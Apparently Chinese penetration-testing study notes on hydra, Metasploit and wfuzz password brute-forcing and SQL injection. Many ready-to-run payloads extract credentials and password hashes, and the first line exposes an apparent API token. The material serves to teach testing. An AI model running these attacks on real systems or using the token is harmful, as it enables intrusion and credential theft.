--api-token QYbHH6fbNDIi6Op3MQuvg85fD4fhNiB4RKJsVOMVp6w
手动收集 wordpress 用户信息 访问连接获取用户信息
http://www.vtmoon1.com/wp-json/wp/v2/users
获取信息可以再进行指定用户爆破
wpscan --url http://www.vtmoon1.com -U moonsec -P /home/kali/top1000.txt

常见的端口服务穷举

hydra 密码穷举工具的使

hydra 是一个端口穷举服务器的工具
adam6500 asterisk cisco cisco-enable cvs firebird ftp[s] http[s]-{head|get|post}
http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s]
ldap3[-{cram|digest}md5][s] memcached mongodb mssql mysql nntp oracle-listener
oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2 rdp redis rexec rlogin rpcap
rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak
telnet[s] vmauthd vnc xmpp
hydra -l user -P passlist.txt ftp://192.168.0.1
hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
hydra -l admin -p password ftp://[192.168.0.0/24]/
hydra -L logins.txt -P pws.txt -M targets.txt ss
常用参数说明
hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV]
server service [OPT]
-R
继续从上一次进度接着破解
-S
大写,采用 SSL 链接
-s <PORT>
小写,可通过这个参数指定非默认端口
-l <LOGIN>
指定破解的用户,对特定用户破解
-L <FILE>
指定用户名字典
-p <PASS>
小写,指定密码破解,少用,一般是采用密码字典
-P <FILE>
大写,指定密码字典
-e <ns>
可选选项,n:空密码试探,s:使用指定用户和密码试探
-C <FILE>
使用冒号分割格式,例如“登录名:密码”来代替-L/-P 参数
-M <FILE>
指定目标列表文件一行一条
-o <FILE>
指定结果输出文件
-f
在使用-M 参数以后,找到第一对登录名或者密码的时候中止破解
-t <TASKS>
同时运行的线程数,默认为 16
-w <TIME>
设置最大超时的时间,单位秒,默认是 30s
-v / -V
显示详细过程
server
目标 ip
service
指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt
http[s]-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3
mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn
icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp
等等
OPT
可选项

使用 hydra 穷举 ssh服务

-L 用户字典文件 -P 密码字典文件 -t 线程数 -vV 详细信息 -e ns 使用空口令
使用指定用户和密码试探 192.168.1.104 你要穷举的 ip ssh 是服务 -o 保存文件
-f 如果找到马上中断扫描
hydra -L users.txt -P password.txt -t 1 -vV -e ns 192.168.1.104 ssh -o ssh.txt -f
ssh://192.168.1.104
192.168.1.104 ssh
-l 指定用户
hydra -l root -P password.txt -t 1 -vV -e ns 192.168.1.104 ssh -o ssh.txt -f
hydra -l root -P 2019_top100.txt 192.168.52.13 ssh -vV -f

使用 hydra 穷举 ftp服务

hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认 16) -vV
hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV
hydra -l c5moon -P 2019_top100.txt 192.168.52.6 ftp -vV -f

使用 hydra 穷举 mysql 服务

hydra ip mysql -l 用户名 -P 密码字典 -t 线程(默认 16) -vV
hydra ip mysql -l 用户名 -P 密码字典 -e ns -vV
hydra ip mysql -l 用户名 -P 密码字典 -e ns -vV -s 端口

使用 hydra 穷举 smb 服务

hydra -l administrator -P 2019_top100.txt 192.168.52.6 smb -vV -f

使用 hydra 穷举 http 服务

hydra -l admin -P 2019_top100.txt -vV -f www.c1moon.com http-post-form
"/admin/index.php:user=^USER^&ps=^PASS^&action=login:login-error"

使用 hydra 穷举 pop3 服务
hydra -L user.txt -P qweasd123 192.168.52.6 smtp-vV -f
3.8. 使用 hydra 穷举 rdp 服务
hydra ip rdp -l administrator -P pass.txt -V
3.9. 使用 hydra 穷举 http-proxy 服务
hydra -l admin -P pass.txt http-proxy://10.36.16.18
3.10. 使用 hydra 穷举 imap 服务
hydra -L user.txt -p secret 10.36.16.18 imap PLAIN
hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN
3.11. 使用 hydra 穷举 telnet 服务
hydra ip telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V

xhydra 穷举工具破解各种服务

xhydra 是 hydra 的可视化工具 使用简单方便快捷。
终端输入 xhydra 即可使用。
使用 hydrdp 破解 rdp服务

image-20220928165048850

metasploit 穷举模块的使用

metasploit 是一个渗透测试集成套件 同样也有穷举模块
auxiliary/scanner/ftp/ftp_login
auxiliary/scanner/ssh/ssh_login
auxiliary/scanner/telnet/telnet_login
auxiliary/scanner/smb/smb_login
auxiliary/scanner/mssql/mssql_login
auxiliary/scanner/mysql/mysql_login
auxiliary/scanner/oracle/oracle_login
auxiliary/scanner/postgres/postgres_login
auxiliary/scanner/vnc/vnc_login
auxiliary/scanner/pcanywhere/pcanywhere_login
auxiliary/scanner/snmp/snmp_login
模块的用法
首先启动在终端下启动 msfconsole
use 使用 ssh_login 模块
use auxiliary/scanner/ssh/ssh_login
show options 查看模块的参数

image-20220928165225583

RHOSTS 攻击的目标
PASS_FILE 密码字典
STOP_ON_SUCCESS 成功破解一个终止
THREADS 线程数
set 设置参数
msf5 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /home/kali/2019_top100.txt
PASS_FILE => /home/kali/2019_top100.txt
msf5 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.52.13
RHOSTS => 192.168.52.13
msf5 auxiliary(scanner/ssh/ssh_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf5 auxiliary(scanner/ssh/ssh_login) > set USERNAME root
USERNAME => root
msf5 auxiliary(scanner/ssh/ssh_login) > show options
设置好后用 run 或者 exploit攻击

御剑 RDP 爆破工具的使用

wfuzz 多线程穷举密码

Usage: wfuzz [options] -z payload,params <url>
Examples:
wfuzz -c -z file,users.txt -z file,pass.txt --sc 200 http://www.site.com/log.asp?user=FUZZ&pass=FUZ2Z
wfuzz -c -z range,1-10 --hc=BBB http://www.site.com/FUZZ{something not there}
wfuzz --script=robots -z list,robots.txt http://www.webscantest.com/FUZZ
wfuzz -c -z file,2019_top100.txt --sc 302 -u
http://www.c1moon.com/admin/index.php?action=login -d "user=admin&pw=FUZZ"
wfuzz -c -z file,2019_top100.txt --hc 404 --hh 1549 -u
http://www.c1moon.com/admin/index.php?action=login -d "user=admin&pw=FUZZ"
wfuzz -c -w /home/kali/csdnpass.txt --hc 404 --hh 1549 -u
http://www.c1moon.com/admin/index.php?action=login -d "user=admin&pw=FUZZ"

邮箱密码的穷举

安装

1.安装
使用pip安装 WFuzz

$ pip install wfuzz

使用 wfuzz docker 镜像

您可以通过执行以下命令从 github 注册表中提取 wfuzz docker 映像:

$ docker pull ghcr.io/xmendez/wfuzz

ps:docker是个很好用的虚拟化平台,后续写文章会具体讲述的(●ˇ∀ˇ●)

1.2 相关链接

GitHub地址:https://github.com/xmendez/wfuzz/
官方文档:https://wfuzz.readthedocs.io/en/latest/user/installation.html#

三、基本使用
这里针对上文中相关wfuzz的特性进行一 一演示,初步了解下wfuzz

3.1 目录遍历

这里的递归,可能大家不太理解,用简单的意思就是进行目录(某个文件)爆破,对已知的url进行目录(某个文件)猜解,达到获取到更多的可访问的目录(某个文件)信息,信息收集,扩大攻击面。
Wfuzz爆破文件:

wfuzz -w wordlist URL/FUZZ.php

Wfuzz爆破目录:

wfuzz -w wordlist URL/FUZZ

使用 -z-w 参数可以同时指定多个payloads,这时相应的占位符应设置为 FUZZ, … , FUZnZ, 其中n代表了payload的序号。举例:

 wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt -w /usr/share/wfuzz/wordlist/general/common.txt -w /usr/share/wfuzz/wordlist/general/extensions_common.txt --hc 404 http://testphp.vulnweb.com/FUZZ/FUZ2ZFUZ3

其中 --hc  过滤隐藏响应码为404的返回结果。

遍历枚举参数值
假如你发现了一个未授权漏洞,地址为:http://127.0.0.1/getuser.php?uid=123 可获取uid为123的信息
uid参数可以遍历,已知123为三位数纯数字,需要从000-999进行遍历,也可以使用wfuzz来完成

wfuzz -z range,000-999 http://127.0.0.1/getuser.php?uid=FUZZ

3.2 Post数据爆破

场景:发现一个登录框,没有验证码,想爆破弱口令账户。

请求地址为:http://127.0.0.1/login.php

POST请求正文为:username=&password=

使用wfuzz测试:

wfuzz -w userList -w pwdList -d "username=FUZZ&password=FUZ2Z" http://127.0.0.1/login.php

-d 参数传输POST请求正文。

3.3 头部爆破
HTTP Headers测试

发现一个刷票的漏洞,这个漏洞需要伪造XFF头(IP)可达到刷票的效果,投票的请求为GET类型,地址为:http://127.0.0.1/get.php?userid=666。

那么现在我想给userid为666的朋友刷票,可以使用wfuzz完成这类操作:

wfuzz -z range,0000-9999 -H "X-Forwarded-For: FUZZ" http://127.0.0.1/get.php?userid=666

-H指定HTTP头,多个需要指定多次(同Cookie的-b参数)。

3.4 测试HTTP请求方法(Method)

想测试一个网站(http://127.0.0.1/)支持哪些HTTP请求方法
使用wfuzz:

wfuzz -z list,"GET-POST-HEAD-PUT" -X FUZZ http://127.0.0.1/

这条命了中多了 -z list 和 -X 参数,-z list可以自定义一个字典列表(在命令中体现),以-分割;-X参数是指定HTTP请求方法类型,因为这里要测试HTTP请求方法,后面的值为FUZZ占位符。

3.5 使用代理
做测试的时候想使用代理可以使用如下命令:

wfuzz -w wordlist -p proxtHost:proxyPort:TYPE URL/FUZZ

-p参数指定主机:端口:代理类型,例如我想使用ssr的,可以使用如下命令:

wfuzz -w wordlist -p 127.0.0.1:1087:SOCKS5 URL/FUZZ

多个代理可使用多个-p参数同时指定,wfuzz每次请求都会选取不同的代理进行。

3.6 认证
想要测试一个需要HTTP Basic Auth保护的内容可使用如下命令:

wfuzz -z list,"username-password" --basic FUZZ:FUZZ URL

wfuzz可以通过–basec --ntml --digest来设置认证头,使用方法都一样:
–basec/ntml/digest username:password

3.7 递归测试
使用-R参数可以指定一个payload被递归的深度(数字)。例如:爆破目录时,我们想使用相同的payload对已发现的目录进行测试,可以使用如下命令:

wfuzz -z list,"admin-login.php-test-dorabox" -R 1 http://127.0.0.1/FUZZ

3.8 并发和间隔
wfuzz提供了一些参数可以用来调节HTTP请求的线程

你想测试一个网站的转账请求是否存在HTTP并发漏洞(条件竞争)

请求地址:http://127.0.0.1/dorabox/race_condition/pay.php

POST请求正文:money=1

使用如下命令:

wfuzz -z range,0-20 -t 20 -d "money=1" http://127.0.0.1/dorabox/race_condition/pay.php?FUZZ

3.9 保存测试结果

wfuzz通过printers模块来将结果以不同格式保存到文档中,一共有如下几种格式:

raw       | `Raw` output format
json      | Results in `json` format
csv       | `CSV` printer ftw
magictree | Prints results in `magictree` format
html      | Prints results in `html` format

将结果以json格式输出到文件的命令如下:

 wfuzz -f outfile,json -w wordlist URL/FUZZ

使用-f参数,指定值的格式为输出文件位置,输出格式

SQL注入篇

漏洞描述

Web 程序代码中对于用户提交的参数未做过滤就直接放到 SQL 语句中执
行,导致参数中的特殊字符打破了 SQL 语句原有逻辑,黑客可以利用该漏洞执
行任意 SQL 语句,如查询数据、下载数据、写入 webshell 、执行系统命令以
及绕过登录限制等
测试方法
   在发现有可控参数的地方使用 sqlmap 进行 SQL 注入的检查或者利用,
也可以使用其他的 SQL 注入工具,简单点的可以手工测试,利用单引号、 and
1=1 和 and 1=2 以及字符型注入进行判断!推荐使用 burpsuite 的 sqlmap 插
件,这样可以很方便,鼠标右键就可以将数据包直接发送到 sqlmap 里面进行检
测了!
修复建议
   代码层最佳防御 sql 漏洞方案:采用 sql 语句预编译和绑定变量,是防御
sql 注入的最佳方法。
( 1 )所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使
用参数而不是将用户输入变量嵌入到 SQL 语句中。当前几乎所有的数据库系统
都提供了参数化 SQL 语句执行接口,使用此接口可以非常有效的防止 SQL 注
入攻击。
( 2 )对进入数据库的特殊字符( ' <>&*; 等)进行转义处理,或编码转换。
( 3 )确认每种数据的类型,比如数字型的数据就必须是数字,数据库中的存
储字段必须对应为 int 型。
( 4 )数据长度应该严格规定,能在一定程度上防止比较长的 SQL 注入语句
无法正确执行。
( 5 )网站每个数据层的编码统一,建议全部使用 UTF-8 编码,上下层编码
不一致有可能导致一些过滤模型被绕过。
( 6 )严格限制网站用户的数据库的操作权限,给此用户提供仅仅能够满足其
工作的权限,从而最大限度的减少注入攻击
对数据库的危害。
( 7 )避免网站显示 SQL 错误信息,比如类型错误、字段不匹配等,防止攻
击者利用这些错误信息进行一些判断。

sql注入原理

满足以下两个条件

参数用户可控:从前端传给后端的参数内容是用户可以控制的
参数代入数据库查询:传入的参数拼接到 SQL 语句,且带入数据库查询。
当用户传入参数为 1'的时候,在数据库执行如下所示
select * from users where id=1'
此 SQL 语句不符合语法规则就会报错。
You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near ''' at line 1
当用户传入参数为 1 and 1=1 时
select * from users where id=1 and 1=1
因为 1=1 为真 id=1 也是真 and 两边均为真 所以页面会返回 id=1 的结果。
如果用户传入参数为 1 and 1=2 时
因为 1=2 为假 id=1 为真 and 两边有一个为假,所以页面返回与 id=1 不一样的

由此可以初步判断存在 SQL 注入漏洞,攻击者可以进一步拼接 SQL 攻击语句,
进行攻击,致使信息泄露,甚至获取服务器权限

判断是否存在注入

回显是指页面有数据 信息返回
id =1 and 1=1
id = 1 and 1=2
id = 1 or 1=1
id = '1' or '1'='1'
id=" 1 "or "1"="1"
无回显是指 根据输入的语句 页面没有任何变化,或者没有数据库中的内容显示
到网页中.

三种 sql 注释符

-- 空格 单行注释
#  注意与 url 中的#区分,常编码为%23
/* 
多行注释
*/

注入流程

是否存在注入判断注入类型
判断字段数 order by 
确定回显点 union select 1,2
查询数据库信息  @@version @@datadir
查询数据库名  user() database()
文件读取 union select 1,load_file("c:\\")
写入 webshell select..into outfile.
补充一点,使用 sql 注入遇到转义字符串的单引号或者双引号,可使用 HEX 编
码绕过


sql 注入分类

可联合查询注入
堆叠查询
布尔型注入
基于时间延迟注入

接收请求类型区分

GET注入

GET 请求的参数是放在 URL 里的,GET 请求的 URL 传参有长度限制 中文需要

POST注入

POST 请求参数是放在请求 body 里的,长度没有限制

COOKIE 注入

cookie 参数放在请求头信息,提交时候服务器请求头获取

注入类型区分

int 类型

select * from users where id =1 

string 字符型

select * from users where username ='admin'

like 搜索型

select * from news where title like '%标题%'

sql注入常规思路

寻找注入点
web扫描工具实现
通过注入点
尝试获取关于连接数据库用户名,数据库名,连接数据库用户权限,操作系统
3、猜解关键数据库表及其重要字段与内容(常见如存放管理员账户的表名、字
段名等信息
3.1 还可以获取数据库的 root 账号 密码—思路
4、可以通过获得的用户信息,寻找后台登录。
5、利用后台或了解的进一步信息

手工注入常规思路

1.判断是否存在注入,注入是字符型还是数字型
2.猜解 SQL 查询语句中的字段数 order by N
3.确定显示的字段顺序
4.获取当前数据库
5.获取数据库中的表
6.获取表中的字段名
7.查询到账户的数据

SQL 详细注入

猜数据库

1’ union select 1,database() – 
payload 利用另一种方式:
1' union select user(),database()
version()
PS:union 查询结合了两个 select 查询结果,根据上面的 order by 语句我们知道
查询包含两列,为了能够现实两列查询结果,我们需要用 union 查询结合我们构
造的另外一个 select.注意在使用 union 查询的时候需要和主查询的列数相同。
猜表名:
1' union select 1,group_concat(table_name) from information_schema.tables where
table_schema =database()
得到表名:guestbook,users
group_concat 分组
group_concat 分组
猜列名:
1' union select 1,group_concat(column_name) from information_schema.columns
where table_name =0x7573657273#
1' union select 1,group_concat(column_name) from information_schema.columns
where table_name ='users'#
(用编码就不用单引号,用单引号就不用编码)
得到列:
user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,usernam
e,password
猜用户数据:
列举出几种 payload:
1' or 1=1 union select
group_concat(user_id,first_name,last_name),group_concat(password) from users #
1' union select null,concat_ws(char(32,58,32),user,password) from users #
1' union select null,group_concat(concat_ws(char(32,58,32),user,password)) from
users #
得到用户数据:
admin 5f4dcc3b5aa765d61d8327deb882cf99
猜 root 用户:#
1' union select 1,group_concat(user,password) from mysql.user#
得到 root 用户信息:
root*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B

union 联合注入原理

联合查询注入是联合两个表进行注入攻击,使用关键词 union select 对两个表进
行联合查询。两个表的字段要数要相同,不然会出现报错。
guestbook 表有三个字段
如果直接联合两个表 因为列数跟第一个表不一样 会导致出错

整合的联合查询方法
SELECT * FROM guestbook WHERE comment_id=1 union select 1,2,3 from users
guestbook 有个三个字段 users 也需要有三个与之匹配
这些数字可以替换成字段的名称或者函数。
替换成函数
SELECT * FROM guestbook WHERE comment_id=1 union select
database(),user(),version() from user
字段替换成字段
SELECT * FROM guestbook WHERE comment_id=1 union select
user_id,user,password from users
如果没有加上 limit 限定条数会把所有内容查询出来,所以都会加上 limit 1 限定
SELECT * FROM guestbook WHERE comment_id=1 union select
user_id,user,password from users limit 1
但是只会显示第一条,因为 SELECT * FROM guestbook WHERE comment_id=1
这个语句是存在记录的 如果想要admin的内容可以把1换成其他不存在的记录,
因为默认负数就表示不存在的,所以可以在数字前加上-1 即可显示第二个表的内
容。
SELECT * FROM guestbook WHERE comment_id=-1 union select
user_id,user,password from users limit 1

union 联合注入攻击

在上面详细的介绍了原理,现在再来分析有 SQL 注入漏洞的代码,通过分析代
码,更深入地了解 SQL 注入漏洞

image-20220930104738210

使用$_REQUEST 直接接收 id 参数,且没有进行过滤,且可以接收 cookie get post
这些传递方法。当传入 1 的时,页面正常返回用户信息。

如果传入 1' 语法会出现语句 You have an error in your SQL syntax;这种英文是
mysql 语法错误提示。
根据代码分析'$id'是属于字符串类型 所以在进行 SQL 注入检测的时候要注意匹
配字符串

判断 SQL 注入

输入 1'and '1'='1 页面返回用户信息 1'and '1'='2 页面返回不一样的信息。基本可
以确定存在 SQL

判断字段数

使用语句 order by 确定当前表的字符数
order by 1 如果页面返回正常 字段数不少于 1,order by 2 不少于 2,一直如此类
推直到页面出错。正确的字段数是出错数字减少 1
公式 order by n-1
1' order by 1--+ 正常
1' order by 2--+ 正常
1' order by 3--+ 出错

联合查询注入获取敏感信息

联合查询 输入 数字 查询页面是否有数字输出。输出的地方就是显示的内容但
是被数字替换了。-1 是让前面的表查询的内容不存在。所以就会显示显示数字。
-1' union select
把数据替换成 mysql 的函数例如 md5(1) 这会在页面返回 1 的 md5 加密信息。
使用这个函数一般是白帽子扫描器的匹配存在漏洞的特征码

image-20220930110038400

version() mysql 版本
database() 当前数据库
user() 当前用户名
group_concat()分组打印字符串
把函数直接替换数字查看页面
-1' union select 1,version()-- 
-1' union select 1,group_concat(user(),0x3A,database(),version())--+
如果你想一次打印多个敏感信息可以使用 group_concat()把查询的函数写人里
0x3A 是:这个符号的十六进制 在 mysql 里会自动转成符号:

联合查询注入通过 information_schema 获取表

在黑盒的情况下是不知道当前库有什么表的,可以通过 mysql 自带的
information_schema 查询当前库的表。
查询当前库的表 limit 1 相当于 limit 1,1 表示显示第一个 1 改成 2 就是第二个
如此类推
第一个表
-1' union select 1,(select TABLE_NAME from information_schema.TABLES where
TABLE_SCHEMA=database() limit 1)--+
第二个表
-1' union select 1,(select TABLE_NAME from information_schema.TABLES where
TABLE_SCHEMA=database() limit 1,2)--+

联合查询注入通过 information_schema 获取字段

同样的查询字段也可以通过内置库 information_schema 里的 COLUMNS
这个表记录所有表的字段。通过 COLUMNS 查询 users 表的字
获取 users 表第一个字段名
-1' union select 1,((select COLUMN_NAME from information_schema.COLUMNS
where TABLE_NAME='users' limit 1))--+
获取 users 表第二个字段名
-1' union select 1,((select COLUMN_NAME from information_schema.COLUMNS
where TABLE_NAME='users' limit 2,1))--+
获取 users 表第三个字段名
-1' union select 1,((select COLUMN_NAME from information_schema.COLUMNS
where TABLE_NAME='users' limit 3,1))--+

通过联合查询表里的内容

通过以上的黑盒查询 获取库名、表名、字段、那么就可以查询某个表的内容。
-1' union select 1,(select group_concat(user,0x3a,password) from users limit 1) -- 

boolean 布尔型盲注入

在页面中不会显示数据库信息,一般情况下只会显示对与错的内容。 代码分析 加深印象

image-20220930110457852

接收 id 的值,直接带入查询,如果存在即返回 users is exists in the database 否则显示 users id is missing 像这种只有正确与错误页面。页面不会显示数据库 里任何内容,如果存在注入,成为盲注入。 盲注入的方式有两种:一种是布尔型盲注入,另外一种是延时注入

判断盲注入

输入 SQL 注入检测语句 判断页面是否不一样,如果不一样大概会存在 SQL 注
入漏洞 1'and '1'='1 一样 1'and '1'='2 不一样,如果输入检测语句页面没有任何改
变可以使用延时语句进行检测 1'and sleep(10)--+ 函数 sleep() 在 mysql 是延时
返回的意思 以秒为单位 sleep(10) 即延迟10秒钟执行
通过判断是否延迟执行可以判断是否有sql注入漏洞

boolean 布尔型注入攻击

布尔型注入攻击,因为页面不会返回任何数据库内容,所以不能使用联合查询将
敏感信息显示在页面,但是可以通过构造 SQL 语句,获取数据。
布尔型盲注入用到得 SQL 语句 select if(1=1,1,0) if()函数在 mysql 是判断,第一
个参数表达式,如果条件成立,会显示 1,否则显示 0。1=1 表达式可以换成构
造的 SQL 攻击语句。
1' and if(1=1,1,0)--+ 页面返回正常,这个语句实际上是 1’and 1,真 and 真 结果
为真,1 是存在记录的。所以返回正确页面

image-20221001154842632

image-20221001154935786

1' and if(1=2,1,0)--+ 页面返回错误,这个语句就是 1’and 0 ,真 and 假 结果为
假,整个 SQL ID 的值也是 0 所以没有记录,返回错误页面

布尔型盲注入获取数据库敏感信息

在黑盒的环境下,通过构造 SQL 注入语句,根据页面的特征确定获取敏感信息。
布尔型盲注入用到的函数
SUBSTRING()字符串截取,第一个参数是字符串,第二个参数是开始截取 第三
三个是截取的长度。
select database()查询当前库
SELECT database()
SELECT substring(database(),1,1)
SELECT if(substring(database(),1,1)='d',1,0)
接着判断第二个字符。将 substring 第二个参数写成 2 因为要截取第二个字符
select if(SUBSTRING(database(),2,1)='v',1,0) 第二个字符为 v。如此类推。再后拼
接字符就是完整的库名

黑盒模式下布尔型注入

判断完注入就获取数据库的长度,得到长度再查询库名,通过库
名再查询表,接着通过表查询字段,最后查询某表指定的数据

布尔型盲注入查询长度

要查询当前库名,首先确定要查询数据库的长度,再通过截取字符进行对比。
1' and if(length(database())=4,1,0)--+
判断库名的长度为 4,截取第一个字符再进行判断
0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz.
@_
1' and if(substring(database(),1,1)='d',1,0)--+

image-20221001161051800

变量 1 获取设置长度为 4 ,变量 2 设置导入字典 payload.txt 提交攻击

image-20221001163256641

拼接字符得到 dvwa 库名
得到库名接着获取表名
1'and if(substring((select TABLE_NAME from information_schema.TABLES where
TABLE_SCHEMA=database() limit 1),1,1)='g',1,0)--+
抓包设置分别设置单个变量

image-20221001163338063

得到表名之后 获取字段名 在用 burpsuite 抓包修改变量
1'and if(substring((select COLUMN_NAME from information_schema.COLUMNS
where TABLE_NAME='users' limit 1,1),1,1)='u',1,0)--+
当前库的表的第一个列字符是否等于 u 如果等于 u 返回正则页面 否则返回错误
页面。
select * from users where user_id=1 and if(substring((select COLUMN_NAME from
information_schema.COLUMNS where TABLE_NAME='users' and
TABLE_SCHEMA=database() limit 0,1),1,1)='u',1,0);
1'and if((SELECT LENGTH(CONCAT(user,0x3a,PASSWORD)) from users limit(1,
1)=38,1,0)--+
1'and if(substring((select CONCAT(user,0x3a,PASSWORD) from users limit
1),1,1)='a',1,0)--+
burpsuite 抓包修改值 提交测试

报错注入

数据库显错是指,数据库在执行时,遇到语法不对,会显示报错信息,例如语法 错语句 select' 11064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right synta

程序开发期间需要告诉使用者某些报错信息 方便管理员进行调试,定位文件错 误。特别 php 在执行 SQL 语句时一般都会采用异常处理函数,捕获错误信息。 在 php 中 使用 mysql_error()函数。如果 SQL 注入存在时,会有报错信息返回, 可以采用报错注入

从代码中分析 SQL 报错注入

如果语法错误,msqli_error()、mysqli_connect_error()会将语法错误信息 显示到 页面上

SQL 报错注入攻击

判断是否存在报错注入 输入单引号 如果报错有可能存在报错注入,如果拼接
SQL 语句带入到 mysql 执行即存在报错注入。
输入 1'and info()--+ 显示当前库,原理是
SELECT first_name, last_name FROM users WHERE user_id = '1' and info()--
会报错显示当前库不存在这个函数 这样当前库名就显示在页面上

报错注入获取数据库敏感信息

输入构造的攻击语句 页面返回数据库信息
1'and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--+

把 user()替换成其他的函数 version() 、database() 就能得到 mysql 得版本信息和 当前库名

但是采用 updatexml 报错函数 只能显示 32 长度的内容,如果获取的内容超过 32
字符就要采用字符串截取方法。每次获取 32 个字符串的长度。
除了 updatexml 函数支持报错注入外,mysql 还有很多函数支持报错。
1.floor()
select * from test where id=1 and (select 1 from (select
count(),concat(user(),floor(rand(0)2))x from information_schema.tables group by
x)a);
2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select *
from(select user())a)b));
5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select
user())a)b));
6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select
user())a)b));
7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select
user())a)b));
8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select
user())a)b));
9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select
user())a)b));
10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));

在黑盒模式下的报错注入

在黑盒模式下的报错注入 首先获取当前库,通过库获取表名,接着通过表名获 取字段,最后获取字段内容

报错注入得到库名

注入以后语句均可获取库名
1' and info()--+
1'and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--+
得到库名 dvwa

.报错注入获取 mysql 账号和密码

获取账号和密码需要 root 用户才有足够大的权限
select authentication_string from mysql.user limit 1;
select(updatexml(1,concat(0x7e,(select (select authentication_string from mysql.user
limit 1 )),0x7e),1))
select(updatexml(1,concat(0x7e,(select (substring((select authentication_string from
mysql.user limit 1),32,40))),0x7e),1))

报错注入获取表名

通过 mysql 内置库 information_schema 通过构造 SQL 语句查询获取表名
采用 floor 报错并不会存在长度问题
查询第一个表名
1'and(select 1 from(select count(*),concat((select (select (SELECT distinct
concat(0x7e,table_name,0x7e) FROM information_schema.tables where
table_schema=database() LIMIT 0,1)) from information_schema.tables limit
0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
将 LIMIT 0,1 改成 1,1 表是第二个表名
1'and(select 1 from(select count(*),concat((select (select (SELECT distinct
concat(0x7e,table_name,0x7e) FROM information_schema.tables where
table_schema=database() LIMIT 1,1)) from information_schema.tables limit
0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

报错注入获取字段

在获取表名之后就可以获取字段名,如获取 usrs 的字段名
获取第一个字段名
1'and(select 1 from(select count(*),concat((select (select (SELECT distinct
concat(0x7e,column_name,0x7e) FROM information_schema.columns where
table_name='users' LIMIT 0,1)) from information_schema.tables limit
0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
获取第二个字段名
1'and(select 1 from(select count(*),concat((select (select (SELECT distinct
concat(0x7e,column_name,0x7e) FROM information_schema.columns where
table_name='users' LIMIT 1,1)) from information_schema.tables limit
0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

可以使用 burpsuite 批量对字段批量获取,首先抓包,修改变量,设置匹配规则。

报错注入获取某表某段内容

现在已经获取 users 表的名字和它的字段名,接下来可以对内容进行查询。
1'and(select 1 from(select count(*),concat((select (select (SELECT distinct
concat(0x23,user,0x3a,password,0x23) FROM users limit 0,1)) from
information_schema.tables limit 0,1),floor(rand(0)*2))x from
information_schema.tables group by x)a)--

如果存在多个用户 把 limit 0,1 改成 1,1 如此类推知道获取最后一个用户为止
使用 busrpsuite 对用户获取

image-20221001170056358

设置数量 再设置过滤网页响应

SQL 注入进阶

时间注入

时间注入又名延时注入,属于盲注入的一种,通常是某个注入点无法通过布尔型
注入获取数据而采用一种突破注入的技巧。
在 mysql 里 函数 sleep() 是延时的意思,sleep(10)就是 数据库延时 10 秒返回内
容。判断注入可以使用'and sleep(10) 数据库延时 10 秒返回值 网页响应时间至少
要 10 秒 根据这个原理来判断存在 SQL 时间注入。
mysql 延时注入用到的函数 sleep() 、if()、substring()
select if(2>1,sleep(10),0) 2>1 这个部分就是你注入要构造的 SQL 语句。
select if(length(database())>1,sleep(5),0) 这个就是查询当前库大于 1 就会延时 5 秒
执行。
-1' or if(length(database())>1,sleep(5),0)--+ 可以看到网页是大于五秒返回。根据这
个原理 n>1 n 不延时就能确定当前数据库的长度

时间注入代码分析

在页面中分析源码 直接获取 name 带进数据库进行查询,但是是否存在记录页 面返回都一样

http://192.168.222.128/06/vul/sqli/sqli_blind_b.php?name=1&submit=查询

-u 表示检测的 url
-p 指定的检测参数
-v 显示调试模式
--technique=T 检测方法为时间注入
sqlmap 检测为时间注入 接下来进行 通过这个注入获取数据库的名 用户权限,
表 字段等敏感信息的获取。
使用 sqlmap
sqlmap -u "http://192.168.0.134/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p
name -v 1 --technique=T --current-user --current-db --batch
--current-user 获取用户
--current-db 当前库
--batch 使用默认模式 自动 y
